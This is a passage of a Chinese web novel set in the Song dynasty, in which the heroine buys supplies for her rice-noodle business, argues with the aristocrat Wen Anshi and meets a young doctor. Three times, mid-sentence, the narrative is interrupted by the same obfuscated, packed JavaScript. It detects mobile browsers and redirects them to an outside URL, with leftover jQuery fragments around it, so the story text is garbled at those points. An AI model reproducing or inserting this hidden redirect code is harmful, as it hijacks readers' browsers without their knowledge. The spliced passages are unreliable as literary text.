“我这副模样任谁见了都心生厌恶，小娘子何必为了我这样的人出头。”穆叔的头垂得更低了，恨不得找个地缝钻进去。 王文茵摇头：“穆叔，没人有权看不起你，你更不应该自暴自弃。” 穆叔心里一热，眼眶都湿了：“小娘子，我……” 王文茵安慰似的拍拍穆叔的肩：“走吧，咱们去找木材铺子。” 王文茵带着伙计们离开胡辣汤店时并未留意到街对面二楼雅座窗口有个人正好目睹了整场闹剧，此时他的嘴角不由自主扬起一抹玩意的笑。 陪在一旁的小厮陈武奇道：“七郎在笑什么？” 文安世皱眉：“我什么时候笑了。” 陈武简直无语：“七郎刚刚一直在笑，我两只眼睛都看到了。” “就算是那也只是讥笑。”这话连文安世自己都觉得有点此地无银三百两的味道。 “七郎是在讥笑王小娘子吗？”陈武挠挠后脑勺，不解道：“王小娘子并未做错什么呀。” “你觉得她做得对？” 陈武点头：“那位范家小娘子跋扈又无理，王小娘子说的一点都没错。” 文安世不由想起了那位经常被祖父痛骂的王介甫相公，王小娘子这性格倒是跟王相公有异曲同工之妙，莫非她真的是王相公的后人？ 14. 第十四章 采购香药 因水路发达，朱仙镇上靠近运河南门码头附近设有不少专门做木料生意的店铺。 选木料这事儿穆叔比较有经验，王文茵她们跟着穆叔沿着河岸一家接着一家店铺找寻过去，货比三家，最后找到一间规模最大的木料铺子。这间铺子木料品种繁多，用来挑选做饸饹床子主体框架的硬杂木最合适不过。 在穆叔的建议下，经过筛选和讨价还价，最后王文茵以二贯钱的价格买下了两条质地最坚硬的枣木。【注1】 见木材铺子门口还悬挂着几只大小不一圆圆扁扁的竹簸箕，王文茵不禁想起后世有一种叫“窝篮拉肠”的小吃，正是用这种竹簸箕将打薄的米浆蒸制而成的。 便问道：“掌柜，这竹簸箕多少铜钱一只？” 掌柜见她出手阔绰，一气就买了两条硬枣木，便狮子大开口：“不贵，只须三十文钱一只。”【注2】 张二嫂惊呼：“一只竹簸箕卖三十文铜钱？！掌柜是想讹我们小娘子呢。” 掌柜笑得无辜：“大娘子你可冤枉我了，我这铺子里的竹簸箕是咱们镇上一位老师傅纯手工编织出来的，品质跟市面上其他家卖的可不一样，不信你仔细瞧瞧。”说完拿起一只竹簸箕给王文茵看。 王文茵也分辨不出好歹，正要掏钱买下，却被穆叔阻止了。 “小娘子，这种簸箕我也会编，静缘庵后山上遍地都是竹子，何须浪费钱买这东西。” 掌柜一听就急了：“你少吹海螺，我这竹编技术可不是谁都会的。” 穆叔指了指扔在墙角的竹白：“掌柜若是不信，我可用这些竹白废料当场编一个给你看。” 掌柜咕哝道：“那些竹白是要钱的。” “几文钱？我买！”王文茵豪爽地拍了拍张二嫂抱在怀里的钱袋子，里面装满了早上刚从钱庄里换来的十贯铜钱。 掌柜支支吾吾：“每斤一……一文钱。” “不对啊，你这块牌子上明明写着竹白每斤六分钱。”王小郎君点破掌柜的心机。【注2】 掌柜大囧，讪笑道：“小郎君竟然识字，呵呵，确是六分一斤。” 王文茵收起钱袋子，对穆叔道：“那就不浪费时辰了，穆叔，咱们回去再砍竹子编簸箕吧。” “哎好，听小娘子的。”能得到王小娘子的认可，穆叔高兴极了。 离开木材铺子后穆叔给王文茵提议，在床壶底部加一块钻孔的铁皮，这样便于挤压米线，还耐磨抗压。 于是，几人又辗转去了位于后巷里的打铁铺。 打铁铺老板是个外表粗犷，面相狰狞的西域汉子。不知是因为长相还是身份的缘故，来他这儿打铁的人并不多。但王文茵却一眼相中了他的手艺，权因他拿出来招揽客户的铁器都是些日常所需的锅碗瓢盆和五金件。 王文茵跟铁匠讲好价，以60文的价钱定制两枚带有不同粗细筛孔的圆形铁皮床壶。【注3】她让穆叔留在打铁铺里等铁匠完工，自己则带着王小郎君跟张二嫂又马不停蹄去米粮铺进货。先前跟妙善赊的一石米已经用去大半，庵里没有太多存粮，既然来了镇上，正好顺路买几石米回去备着。 粮铺老板倒是实在，听说王文茵一口气要五石陈年的早籼米，便以600文一石的价格卖给了她。见粮铺里还有大豆、绿豆和小麦，王文茵又以55文一斗的价格各买了一石，总计花出去4650文钱。【注4】 买了这么多东西，张二嫂又开始心疼了：“小娘子今日可是花出去不少银两。” “婶子别担心，我阿姊会加倍把这些花出去的银钱赚回来的。”王小郎君对自己阿姊的赚钱能力信心十足。 王文茵听了哈哈大笑，拍了拍王小郎君的脑袋夸道：“知姐莫如弟。” 张二嫂也跟着笑了：“小郎君说得对，是我糊涂了。” “不，婶子，你没糊涂。”王文茵道：“开源节流是创业的根本，只不过该花的钱就必须得花，今日这些钱花出去是为了明日赚更多的钱回来。” “我信小娘子的话。”张二嫂仿佛已经看到自己头顶在下铜钱雨了。 这边跟粮铺刚结完账，那边穆叔已经推着轱辘车过来了。 穆叔将两枚圆形的筛漏状床壶拿给王文茵看，王文茵发现那个西域打铁匠虽然外表粗犷，心思却很细腻，手艺着实不错，两枚简简单单的床壶缘面竟然还细心打磨过了。她很满意，计划下次再来进货的时候让西域打铁匠再打点厨具啥的物什。 眼看天色不早，一行人正打算出镇回丰收村，王文茵无意中瞥见河岸对面有一间药铺，便让张二嫂他们先去镇门口等她，自己则买完东西再赶去同他们汇合。 **** 药铺在河对岸，附近没有桥，王文茵沿着河绕了好大一圈才从两岸相连的石桥上跨越到对岸。远远看见铺子门口的招牌上写着“赵太丞家药铺”几个字，顾名思义这家药铺是赵姓太医丞所办。【注5】 宋代的药铺分为官办和民办两种，官办的叫“太平惠民和剂局”，隶属太医局，是官办的药事机构，也是中国历史上最早的连锁药店。和剂局遍布宋朝各地，有官方背书，除了出售已经调配好的常见药物或药材，也兼做全科门诊部，以惠民的价格为光大人民群众看诊、治病、配药。【注6】 而像“赵太丞家药铺”这类民营药店虽然也能看病，却是除了头痛脑热、伤风感冒、肠胃不适等常见病外，更擅长的还是某一类专科，诸如儿科、内科什么的。 赵太丞家药铺临河，正对着一个拐角的小码头，两侧是书肆和钱庄，闹中取静，地理位置十分优越。 大部分药铺都是按前店后坊的格局来布置，前面店铺主要负责陈列售卖药材，规模大一些的药铺还会有郎中坐诊，病人请完脉便可直接从药铺里买药回去煎制，十分便利。而后面的作坊则是用来进购、存储和加工药材的。【注7】 王文茵踏入药铺，发现对着大门的柜台后面有两名伙计正在药橱前用戥子称量药材，左手方靠墙的桌旁却不见坐诊的郎中，便上前询问：“店家，我想买点药。” 听见有人问药，其中一名伙计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822228|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转过身来跟王文茵打了个照面，两人皆是一愣。 “是你呀？”伙计正是先前在胡辣汤店里仗义执言的阳光大男孩，发现来人是王文茵也有些意外，再仔细观察她的脸色，实在没看出有何病症，便问道：“小娘子可是身上哪里感到不适？” “郎君误会了，我是想帮卧病在床的婶娘问点药，再顺便买点香药回去。”王文茵将李阿萍母亲的症状大致描述了一番。 阳光大男孩凝神思索片刻后道：“在没见到病患本人之前怕是不好判断，不知小娘子口中这位婶娘现在何处？” “在静缘庵。”王文茵顿了顿又补充道：“便是丰收村的福田院。” 阳光大男孩点头：“我知道那地方，先前曾去过。” 这下轮到王文茵惊讶了，眼前这位郎君虽然一身伙计装束，但怎么看也不像是会去福田院的人。 大概是看出王文茵的疑惑，阳光大男孩腼腆道：“我是跟着兄长一起去行医的。” “原来郎君是大夫啊。”王文茵油然起敬：“失敬失敬。” 阳光大男孩的脸唰一下就红了，摆手道：“我学艺不精，还没出师，只是懂点皮毛而已。小娘子若是不嫌弃，我可以明日亲自前往静缘庵替你的婶娘问诊。” 王文茵大喜过望，朝大男孩福了一福：“我替婶娘先谢过郎君。” “小娘子不必客气。”阳光大男孩还了一礼：“不知小娘子贵姓？” “奴家王氏。”王文茵道：“敢问郎君贵姓？” “鄙姓赵，家中排行行四。” 王文茵心说，这位赵四郎该不会是被派来基层实习的太子爷吧？ 结果人家还真是。 “这间药铺乃是我祖父创立，如今由家父和兄长接管。”赵四郎不好意思地笑笑：“我只是打下手的，平时也会在这儿坐诊，偶尔免费替人看病出义诊。” 王文茵以为自己听错了，问道：“免费出义诊是否含有附带条件？” 赵四郎哈哈大笑：“小娘子放心，我为普通百姓看病出义诊绝无任何附带条件。” 王文茵尴尬笑了笑：“是我以小人之心度君子之腹了。” 赵四郎摇头：“不怪小娘子，我家药铺以卖药为主，深知普通人看病不易，我能做的也仅此而已。” 王文茵岂会不知底层人看病难这个道理，她自己就是死里逃生才侥幸活下来的，其他人未必能有她这般好运，所以对赵四郎的义举心生佩服，赞道：“穷则独善其身，达则兼济天下，郎君义举奴家很是敬佩。” 赵四郎被她夸得不好意思了，红着脸岔开话题：“小娘子还想买何种香药？” 王文茵拿出一张纸交给赵四郎：“我需要八角、肉桂、胡椒、花椒、陈皮、山柰、香叶、茴香、甘草、丁香、砂仁、草果、白芷、木香、良姜、干姜、豆肉蔻、白豆蔻、和草豆蔻若干钱，具体数量已经写在单子上了。”【注8】【注9】 赵四郎拿着采购单研究了半天，很费解：“小娘子买这许多辛香料是做何用途？” 15. 第十五章 北宋因为海上贸易发达，有超过三十多种香药从东南亚、阿拉伯半岛和非洲各国进入中国。宋代上层阶级的官僚和贵族普遍喜欢使用这种昂贵的“舶药”，也就是进口香料药物，以至于香药成为了朝廷税收的主要来源。【注1】 香药分为可食用和不可食用两种，不可食用的用来熏衣、焚香、或馈赠佳品。可食用的则用来配制药茶、药酒，或添加到食物中去。不过龙涎香、马耨香、龙脑香、沉香等名贵香药一般老百姓是消费不起的，只有像乳香、麝香、丁香、木香、藿香、没药、胡椒等比较大众的香药才是普通人的生活必需品。【注1】 “我呀，要用这些香药料理膳食。”王文茵道：“郎君可知北朝贾思勰所著《齐民要术》中曾提到胡椒、陈皮、大蒜等香药作为调味品可使鱼、肉去腥增香？” 赵四郎（赵元宁）家里世代从医，对《齐民要术》自然是了如指掌，点头道：“略知一二。有一道名为‘胡炮肉法’的菜肴便是在煮羊肉时用了胡椒增香，而陈皮用在膳食料理中则更为常见，像鸭汤、羊蹄汤、黑鱼汤等腥膻味重的鱼、肉菜肴更是离不开陈皮去腥。”【注2】 “正是如此。”王文茵道：“单独使用一种香辛药虽可去腥增香，但味觉层次却是不够，是以《齐民要术》中便有了八和齑这种混合调味汁。” 赵四郎又道：“若是我没记错，八和齑是将生蒜、生姜、橘皮、白梅、熟板栗和粳米饭放入捣蒜的臼内捣碎后再拌上盐和醋制成。此种调味品主要是用来蘸切脍（生肉片），以便掩盖肉腥味，并防止腹泻用的。”【注2】 “郎君记得一点没错，八和齑便是混合调味品的雏形。” 赵四郎抖了抖王文茵的采购单打趣道：“莫非小娘子是打算将这众多香辛料一起制成混合调味品？” 王文茵摇头道：“若是将这全部的香辛料一股脑加入膳食中想必不会有人愿意尝试这道料理了。” “那小娘子是打算用这些香药做什么？” 王文茵坦言：“一部分用来调配十三香，另一部分则是用来做卤水。” “何谓十三香？”赵四郎感到很新奇。 王文茵故意卖关子：“这十三香乃是我独家的配方，有主香、辅香、导香、定香几类香药混合制成，烹饪时可去臭除腥，还能增香提鲜，从而令口感层次更为丰富。”【注3】 这是赵四郎闻所未闻的新奇料理方式，他的好奇心被勾起来了：“那卤水又是何物？” 王文茵促狭道：“卤水嘛也是一种烹饪用的调味料，除了用上述几味香辛料去膻增香外，还必须加入一味秘制的‘酱油’方才能成。” 赵四郎很想问她“酱油”是何物，但既然王小娘子说了是她秘制之物，想必不会轻易告诉旁人，便道：“小娘子独创的这两味调料听着就很诱人。” 王文茵抿嘴笑道：“待我研制成功必定请郎君前来品鉴。” 吃货赵四郎也不客气：“那我必定赴约。” 两人相视一眼，同时哈哈大笑，颇有点臭味相投的意思。 最后王文茵花了200文钱买了一大包香药回家。 离开药铺的时候天色已近黄昏，眼看镇门就要关闭，王文茵抱着香药一路小跑着朝出镇方向奔去。一辆马车从她身旁经过，又在前方不远处停了下来。 文安世身边的小厮陈武探出头来招呼她：“王小娘子这是要去哪儿？” 王文茵认得文家的小厮，快走几步上前回道：“正要出镇回静缘庵去。” 文家小厮热心邀请：“镇门马上就要关了，小娘子快上车来，我顺道载你一程。” “多谢小武哥，那我就不客气了。” 王文茵将香药递给陈武，自己则手脚并用爬上了马车，掀开车门的瞬间赫然发现车内还坐着一个人，她愣了愣，迟疑着不知该进去还是索性原路爬下车。 文安世皱皱眉：“你若再不进来就赶不及出镇了。” 王文茵讪笑行礼：“多谢七衙内携我一程。” 文安世抿抿唇：“不必客套。” 王文茵将香药抱在怀里，挑了个靠近车门的角落安静坐下，缩着手脚，全身上下大写的紧绷。 马车内部空间有限，为了御寒内壁挂着一层厚厚的毛毡，隔音效果奇佳。在这么个密闭的小空间里，同一个说不上熟或不熟的人待在一块儿，还真不是一般的尴尬。 文安世弯了弯嘴角，打破沉默：“你怀里藏的是什么，怎么有股子怪味？” 王文茵下意识低头嗅了嗅香药包，喃喃自语道：“不怪啊，不是挺香的嘛。”她眯起眼笑了笑，炫宝似的掂起药包给文安世看：“都是些做膳食用的香药。” “都是哪几味香药？” 王文茵心里奇怪，这文家七衙内平日里看着不像是好奇心重的人，今日这是吃错药了？ 她将包裹打开，里面都是用裹帖包起来的小包香药，看不出成分，但仅凭药香味她就能分辨品种：“这是八角，这是肉桂，这是胡椒，这是花椒……” 文安世耐着心等王文茵数家珍般将所有的香药都捋了一遍，他被她发自内心的喜悦所感染，忍不住脱口道：“你为何拒绝祖母的提议？” 王文茵一头雾水：“郎君此言何意？” “到祖母身边做厨娘不好吗？”文安世研判似的看着王文茵。 原来是这事啊，王文茵在心里吐槽，脸上却带着笑：“奴家的手艺与府里的厨娘比还差得远，若真的进了府怕是要露怯，人贵有自知之明，是以……” 文安世撇撇嘴：“是吗？” 这么没诚意的鬼话他才不信。 为了证明自己没撒谎，王文茵伸出左手，食指上还缠着一圈麻布，煞有介事道：“奴家学艺不精，连刀工都不过关，怎好辜负老夫人的期许。” 文安世不置可否，抬手示意她怀里的药包：“这里头既有辛辣味重的香药，又有芳香性淡的香料，还有部分是香草，可用来做何种膳食？” 王文茵眨眨眼，心说，可以啊文七郎，居然能分得清香料的种类，看来不是五谷不分、四体不勤的书呆子。 “便是用来制一种合香跟卤水，再用这两种调料研发更多的美食和料理。”王文茵一本正经回道。 “这些关于香料的秘方也是从你祖父的笔记上得来？”文安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822229|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世看她的眼神闪着狡黠。 王文茵被他看得心里发虚，扭头若无其事道：“非也，乃是从一本古籍的残本上学来的。” “小娘子所学甚广。”文安世这话倒是真心。 王文茵以为他在打趣自己，自谦道：“七衙内过奖了，奴家不过是个粗鄙的乡下丫头，生平最大嗜好便是吃喝，是以才会想方设法阅览一些跟吃食有关的杂记罢了，谈不上学识，七衙内莫要笑话我了。” “本着兴趣去读书才是正经，小娘子何必自谦。”文安世的语气并无任何戏谑调侃，反而更多的是真诚。 王文茵讶异转头，见他那张清贵冷清的脸上竟含着诚挚的笑，感情这位哥还是外冷内热那一挂的？便笑了笑道：“奴家非男儿身，又不能参加科举，自然是捡点自己喜欢又能谋生的书来读。” 文安世翘了下嘴角，这样率真直白又乐观积极的小娘子还真是有趣得紧。 “小娘子打算今后以卖米粉维生？” 说到自己喜欢的话题，王文茵扬起唇角，眼里闪着光：“只卖米粉自然是不够的，米粉的制作工艺并不复杂，早晚会有更多的竞争者出现，若是想赚更多的银子，那便需要推陈出新，研发更多的美食和料理才行。” 第一次从一个小娘子嘴里听到对金钱直言不讳的欲望，文安世的内心受到了前所未有的冲击。王小娘子即便不是王相公的后人，也是名门出身的大家闺秀，怎么也跟市井中的俗人一般满身铜臭味。 他不悦皱眉道：“小娘子切莫开口就谈钱，这样对你的名声不好。” 王文茵有一刹那的错愕，继而语气微冷道：“郎君怕是没吃过缺钱的苦，钱很低俗吗？人要活着就得吃饭，没钱从哪儿弄到食物？生病要就医，没钱谁会给你药治病？缺衣少食还在其次，对穷人而言天寒地冻连片瓦遮头都是奢望！” “朱门酒肉臭，路有冻死骨，锦衣玉食谈风弄月的公子哥自然是嫌钱低俗，殊不知自己享受的一切都是建立在金钱之上。君子爱财，取之有道，我凭自己努力赚银子，有何可耻的？倒是那些打着为国为民的幌子，对黎民百姓巧取豪夺之辈才应该感到羞耻！” 王文茵涨红着脸，胸口起伏，一口气发泄似的说完，自己都觉得有点过激了。只是话已出口，驷马难追，索性豁出去不管了。 文安世的脸色一阵红一阵白，从来没人敢当面这般冲撞他，更加不会如此直言不讳、无所顾忌。他虽有些懊恼，可冷静下来细想觉得王小娘子的话却有几分道理。她从云端跌落泥沼，吃过无依无靠、穷困潦倒的苦，却能凭自己的双手打破绝境，给自己挣出一条活路来，这样的人自是不能与一般的小娘子相提并论，终究还是自己唐突了。 他想道歉，可话到嘴边又难以启齿，两人就这么僵持了片刻。王文茵突然拍了拍车门，让陈武停下马车，随后抱起自己的香料包，连看都不看他一眼就跳下车走了。 望着王小娘子气冲冲离去的背影，陈武不禁纳闷：“王小娘子这是怎么了？脸色突然变得这么难看。” 文安世在心里苦笑，自己怕是把王小娘子给得罪了，不知道明日是否还能吃到她做的鲜米粉。 16. 第十六章 离开文家的马车，距离出镇的城门已是不远，王文茵见张二嫂伫立在门楼下朝她来的方向张望，便三步并作两步迎了上去。 “小娘子你终于出来了，我差点以为你被人拐跑了呢。”不知情的张二嫂说了句玩笑话。 王文茵紧绷的脸色松弛下来，笑了笑道：“我像是那么容易就被拐跑的人吗？” 张二嫂朝她身后的马车瞟去一眼：“咦，那不是文家庄的小厮陈武吗？小娘子刚刚是从那辆马车上下来的吗？” 王文茵嗯了一声：“半途遇到，小武哥顺道载了我一程。” “要不小娘子还是坐文家的马车回去吧，这一路也不好走。” 王文茵摇头：“顺道载我一程是人情，若是还让他们送我回去，那便是我不识趣了。” 张二嫂附和道：“小娘子说的是，咱们跟文家毕竟不是一个阶层的人。” 受过后世人人平等思想教育的王文茵自是不会将人分成三六九等，但碍于她所处的这个朝代人的平权意识还远未被启蒙，她也只能顺应时势，认同道：“婶子说得对，咱们小老百姓是须得有点自知之明的。” 两拨人各自出镇回家，走的虽是同一条道，既然不相为谋，还是尽量疏远一些比较好，王文茵在心里这么告诫自己。 回到静缘庵时已过戊时，王文茵召集伙计们在灶间吃过晚膳后开了个小会，将自己接下来的计划告诉大家。 首先当然是要转型做干米线，鲜米粉虽然制作方法比较简单，但耗时耗力，还不易储藏。最麻烦的是必须每日派人下山送货，是对人工和时间的极大浪费。 而转型的第一步就是打造一个坚固好用的饸饹床子。 王文茵让穆叔自己选是做清包工，还是像其他伙计一样领薪水。若是清包工那就是一口价包下所有木工的活，若是领薪水，那便是旱涝保收的打工人，日薪跟其他人一样也是100文一天。 穆叔几乎没怎么考虑就选了后者，他说：“小娘子看得上我的手艺是我的荣幸，跟着小娘子至少不会吃了上顿没下顿。” 看来大家对自己抱有很大的期望，王文茵顿时觉得肩头的责任又重了几分。 “那就欢迎穆叔加入我们的小团队。”王文茵带头鼓掌。 其他人也跟着鼓起掌来，经过王文茵的调教，大家都明白鼓掌代表欢迎，赞同、喜欢、还有叫好。 王文茵摆摆手，示意大家安静，再继续宣告：“待干米线研制成功后，我打算扩大经营范围，咱们要走出丰收村，去朱仙镇上摆摊卖米线。” 伙计们齐刷刷鼓掌叫好。 “大家对于摆摊可有什么想法？”王文茵问道。 周婆子先举手：“小娘子打算摆摊只卖猪油拌粉吗？” “如果只卖猪油拌粉怕是不太够，须得加上原汤米粉方才能揽客。”王大崔想起王文茵为文老夫人做的各种原汤米粉忍不住吞了吞口水。 王文茵点头：“王叔说得对，猪油拌粉虽然价廉物美，但终究是单调了些，还是原汤米粉更有市场。” “若是卖原汤米粉，那咱们得备上多少食材啊？”张二嫂掐着指头算了算：“咱们这儿离朱仙镇可有一个时辰脚程呢。” 王文茵给张二嫂点了个赞：“婶子说到重点了。咱们若是去朱仙镇上卖米粉，那必然要备上不少食材，且不说路远，天气还是一个不稳定因素，万一遇上刮风下雪、电闪雷鸣，怕是回都回不来，更别提开张做买卖了。是以——” 她顿了一顿，抿嘴笑道：“咱们是去朱仙镇上兜售干米线，卖原汤米粉是为干米线打开市场。” “可这干米线又不能直接生吃，会有人愿意买吗？”张二嫂再一次抓住了重点。 “所以咱们还是得备上一锅底汤和码子，不拿来卖，只作免费试吃推销用。” 有了第一次推销鲜米粉的经验，张二嫂已经明白免费试吃这种营销方式有多好使了，连连点头表示赞同：“若只是免费试吃，那便容易多了，反正干米线可长久储藏，只须包裹牢靠，就不怕雨雪天出行难。” 推销干米线的事就先这么定下了，王文茵道出第三个计划：“除了开发干米线，我打算再研制几种独特的调味料。” 说到这个周婆子就来劲了，去朱仙镇卖干米线轮不到她这个年纪大腿脚不灵便的老婆子，但调味料可是膳食料理最核心的机密，若是能跟王小娘子学上一手，那还要什么自行车。于是抬头挺胸，再给王小娘子递去几个秋波，心里不住呐喊：看到我，看到我，看到我。 所谓念念不忘必有回响，王文茵也注意到了周婆子满含期待的眼神，微笑着冲她点了点头：“研发调味料这项重任便由我、阿萍和周阿婆一起来完成。” 周婆子还没来得及表达内心的喜悦，李阿萍已经快她一步跳了起来，激动得语无伦次：“小娘子，我可以吗？我啥也不会，不是，小娘子，你说让做啥就做啥，我必定好好跟着你学。” 周婆子见状也不逞多让，颤巍巍从地上爬起来，拍着胸口保证：“小娘子，你尽管吩咐，老婆子我必定鞠躬尽瘁，死而后已。” 王文茵噗呲一笑：“不是什么大事儿，你们别紧张，不过是做些研磨调制的细活儿而已。” “不，小娘子，你有所不知。配制调味料可是厨娘的绝活儿，是不会轻易外传的秘籍。你让我们两个外人给你打下手，那得是多看得起我们啊。”周婆子坦诚道。 王文茵点头：“所以你们要守口如瓶，因为咱们秘制的调味料都是外头没有的好东西，是可以帮咱们赚很多银子的宝贝。” 周婆子跟李阿萍都指天发誓，没有王小娘子的允许，她们绝对不对外泄露一个字，否则就天打雷劈，不得好死。 这誓发的是够重的，王文茵倒不担心她们会泄露机密，毕竟调料的配比是需要经过多轮的试验才能最终确定下来，而这些试验她一个人就能完成，不需要人搭手。不过，考虑到版权保护的问题，她觉得还是有必要跟大家强调一下，毕竟这些秘方还有更重要的用途。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822973|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散会后，掌柜张二嫂将王文茵分配的工作落实下去，穆叔开始着手做饸饹床子，编簸箕，王小郎君负责给他打下手；王大崔、李三毛、周婆子和张二嫂四人继续做鲜米粉，直到饸饹床子完工前鲜米粉依然是他们作坊主要的收入来源。 灶间的石磨正忙着磨米浆，得不出空闲来，研制十三香须得将所有香料研磨成细粉方才可调制。王文茵想起妙善师太喜好饮茶，想来必定备有一套茶具十二先生。【注1】 宋朝饮茶的风气盛行，无论是王公贵族，还是下里巴人，人人都爱饮茶、斗茶。饮茶所需的茶器大部分人都拥有，静缘庵的妙善师太就私藏了一套昆山片玉茶磨。 一开始王文茵提出要借茶器一用，妙善是拒绝的，最后看在铜钱的份上她还是勉为其难答应了。 于是王文茵用50文钱问妙善租用了木待制（茶臼），金法曹（茶碾），石转运（茶磨），罗枢密（筛茶用的茶罗），宗从事（清茶用的茶帚），和漆雕密阁（盛茶末用的盏托）等茶具。【注1】 阿萍心疼钱，觉得妙善忒狠，不过借用一套茶具张口就要50文。王文茵却说，这样一套茶具自己花钱买少不得要好几贯铜钱，租比买划算。 她让阿萍从买来的香药中取出花椒，八角，小茴香，白芷，丁香，肉豆蔻，肉桂，砂仁，草蔻，木香，山柰，良姜和干姜研磨成粉，再用罗枢密（茶罗）过筛后包起来备用。 这一忙就是整晚，临睡前王文茵又同张二嫂盘了一下帐，这一日去朱仙镇购物进货加上四个人吃饭一共花出去6570文钱。早上送出去鲜米粉148宋斤，收回来籼米68宋斤，文家给的定金加赏银一共四两银子，加上先前攒的13两银子590文铜钱，扣除七个人一日的工钱（包括穆叔）800文，和租用茶具的50文钱，最后还剩下8两银子100文铜钱。 因每日送出去的米粉比收回来的籼米多，两相一扣除，原先赊的一石早籼米只剩下82.5宋斤，好在今日已购入5石籼米、1石大豆，1石绿豆和1石小麦，估计还能撑上一段时间。 “哎呀，这银子可真不经花哎。”张二嫂捧着账本，眼珠子都快掉出来了。 王文茵心里也有同样的想法，赚钱不易花钱却如流水，可这些钱又不能不花，创业大概就是这般痛并快乐着吧。 隔日一早，王文茵带着送货小分队下山去送鲜米粉。文家庄当然去了，今日给文老夫人做的肉臊米粉里她还加了点香料，口感比之前的原汤肉丝粉有过之而无不及，尝过的小伙伴都夸好吃赛山珍。 做完米粉王文茵照例去门房等着大管家来给送银子，结果却被半路杀出来的陈武带去了后院的沉香亭。 不用问她也知道是谁要见她。 跟文安世不同的是，王文茵压根没把昨日那段小插曲放在心上，气头过后就甩到脑后去了，想办法赚钱才是正经事，何必劳神想这些有的没的徒增烦恼。 进了亭子，王文茵朝背对着她的某人福了一福：“七衙内寻我可有何事？” 17. 第十七章 白衣少年 白衣少年站在临湖的亭子里，寒风吹落枝头梅香，一袭襕衫随风轻摆，宛若清风霁月。 文安世缓缓转过身，朝王文茵还了一礼，“昨日是我唐突了，还请小娘子恕罪。” 经历过两世的王文茵虽然年方十岁，心智却已成年，弱冠之龄的文安世论实际年龄比她还大了四岁，在她看来倒是有点少年老成的味道，惊讶之余立刻意识到文家这种守旧的士大夫家族出来的子弟即便内心再不屑也不会表露在面上，相反他们谨守礼仪，因为只有这样才配得上他们出身名门教养优越的身份和地位。【注1】 “七衙内不必多礼，我也有不是之处。”王文茵淡淡道。 文安世抬起头深深看了她一眼，沉吟片刻道：“我还以为小娘子今日不会再来了。” 王文茵失笑：“奴家给老夫人做一碗米粉便能得赏银，这与我而言可是很大一笔收入，为何不来？” 听她这么说，文安世也宽了心，转而道：“祖母说今日这碗肉臊米粉甚是美味，不知小娘子可是往里加了什么佐料？” 文老夫人的五星好评叫王文茵笑成了一朵花，“确实加了一点我自己秘制的香料，老夫人喜欢就好。” 少女笑靥如花的模样实在有些晃眼，文安世垂下眼，将握在掌心里的一只荷包递给她，“这是祖母给小娘子的谢礼。” “多谢文老夫人。” 王文茵大大方方将荷包从文安世手里拿起，温凉的指尖触到他的掌心，好似蝴蝶翅膀轻轻拂过，痒痒的，麻麻的，文安世赶紧收回手掌，定了定神道：“不知小娘子加的香料可有名目？” “名为十三香。”王文茵喜滋滋道。 “十三香？可是有十三种香药调和而成？” “正是。”王文茵道：“目前调配出来的合香还只有三四种，香料的配比需要经过多次试验才能达到完美比例。” 文安世微微笑道：“那我便期待小娘子大功告成的那一日。” 王文茵愣了愣，一贯冷冰冰不苟言笑的文七郎笑起来居然这么好看，她忍不住多了看两眼。 倒是文安世被她看得不好意思起来，轻咳一声，道：“耽搁小娘子多时，某替祖母谢过。” 王文茵暗暗好笑，文七郎居然还会害羞，她爽朗笑道：“七衙内不必客气，奴家先行告辞。” 拎着一只沉甸甸的荷包从文家庄离开，王文茵的心情别提有多好了，钱虽不是万能的，但钱真的能让人有安全感和成就感。荷包里的银子光掂量着怕是至少有十两呢，文七郎真是下血本了，不就是被冒犯了一下嘛，多大点事儿，为了银子她不介意再被冒犯几次，嘿嘿。 回到静缘庵山脚下，老远就看到周婆子揣着手在山门口来回蹒跚踱步，脸色看起来十分焦急。 王文茵赶紧拉着阿萍迎上去：“阿婆，出什么事了？” “啊哟，小娘子，你可回来了。”周婆子喘了口气道：“庵里来了个大夫，说是来给你婶娘看病的，我寻思着二婶子也没啥病啊……” 周婆子还没说完，王文茵就带着阿萍跑进了庵里。 柴房门口围着好些人，叽叽喳喳好不热闹。 阿萍好不容易扒拉开人群挤进去一看，原来是位年轻的郎中正坐在蒲团上，为她长期卧榻的娘看病，一边问诊，一边还用笔在册子上记录着什么。 阿萍鼻子一酸，红着眼圈去看王文茵：“小娘子，郎中是你请来的吗？” 王文茵跟在阿萍身后进来，抬眼一看，果然是赵四郎，他居然这般守信，真?五讲四美好青年。 赵四郎给阿萍的娘问完诊，转身正好看到站在门口冲他微微笑的王文茵，起身上前行了一礼，“今日正好铺子里空闲，故来看看婶娘的情况。” 